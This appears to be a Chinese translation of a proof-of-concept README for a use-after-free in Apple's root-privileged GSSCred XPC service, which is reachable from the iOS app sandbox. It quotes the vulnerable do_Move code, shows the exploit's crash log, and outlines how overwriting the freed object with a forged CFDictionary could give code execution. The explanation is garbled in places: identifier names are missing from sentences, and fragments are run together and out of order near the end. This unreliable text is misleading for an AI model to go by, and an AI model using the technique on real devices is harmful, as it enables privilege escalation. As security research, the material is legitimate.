com.apple.GSSCred XPC 服务(在 macOS 和 iOS 上以 root 权限运行)未正确实现 "move" 命令,导致 do_Move 函数中出现释放后使用(use-after-free)条件。在 iOS 上,可从默认应用程序沙箱内部访问 GSSCred 服务。
该程序利用此漏洞以崩溃 GSSCred 服务。在 GSSCred 中实现代码执行的关键在于竞争窗口内用受控数据覆盖已释放的内存。已在 macOS High Sierra 10.13.2 Beta 17C79a 上测试。
以下是 do_Move 中的相关部分(来自 Heimdal-520),省略了一些不重要的错误检查:
//
// 1. from and to are fully controlled UUID objects deserialized from the XPC request.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom and credto are HeimCredRef objects looked up by the from and to UUIDs.
// CFDictionaryGetValue() returns the objects without adding a reference. Note that if
// the from and to UUIDs are the same, then credfrom and credto will both reference the
// same object.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom is removed from the dictionary. Since there was only one reference
// outstanding, this causes credfrom to be freed.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. At this point we check credto. If credfrom and credto refer to the same object, then
// credto is a non-NULL pointer to the freed HeimCredRef object.
//
if (credto == NULL) {
...
} else {
//
// 5. Now we dereference credto, passing a value read from freed memory as a
// CFDictionaryRef object to CFDictionaryGetValue().
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
该代码执行以下操作:
from 和 to。请求完全可控,因此我们可以任意设置这些 UUID 的值。未检查这两个 UUID 是否相同。from 和 to 查找 HeimCredRef 对象 credfrom 和 credto。peer->session->items 字典存储了 GSSCred 代表当前连接客户端程序管理的所有凭据。注意,函数 CFDictionaryGetValue 返回对 HeimCredRef 对象的引用,但不会增加它们的引用计数。特别地,如果 from 和 to 是同一个 UUID,那么 credfrom 和 credto 都将指向同一个引用计数为 1(由包含它的 CFDictionary 持有)的 HeimCredRef。credfrom 从 peer->session->items 字典中移除。这通常是安全的,因为当 和 是不同的 UUID 时, 对象会被释放,并且之后不再被引用。但是,当 和 相同时,问题就会出现,因为稍后还会引用 。此程序并未尝试赢得此竞争窗口。相反,它让 HeimCredRef 的析构函数将 attributes 字段清零,从而在 CFDictionaryGetValue 中触发NULL 指针解引用。
要构建,请运行 make。有关各种构建选项,请参阅 Makefile 顶部。
运行漏洞利用程序将显示与 GSSCred 交换的 XPC 消息序列:
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
"Connection interrupted" XPC 事件表明 XPC 连接被中断,很可能是因为 GSSCred 崩溃了。
GSSCred-move-uaf 代码已发布到公共领域。作为礼貌,如果您引用或使用了此代码的任何部分,我希望您注明出处。
fromtocredfromfromtocredtocredto 是否为 NULL。由于 credfrom 和 credto 相等且 credfrom 不是 NULL,我们进入 else 分支。credto 以读取 attributes 字段,该字段作为第一个参数传递给 CFDictionaryGetValue。如果在此期间 credto 指向的已释放内存被重新分配,并且 attributes 字段的位置被更改为指向一个精心构造的伪造 CFDictionary 对象,那么应该可以通过这一步实现代码执行。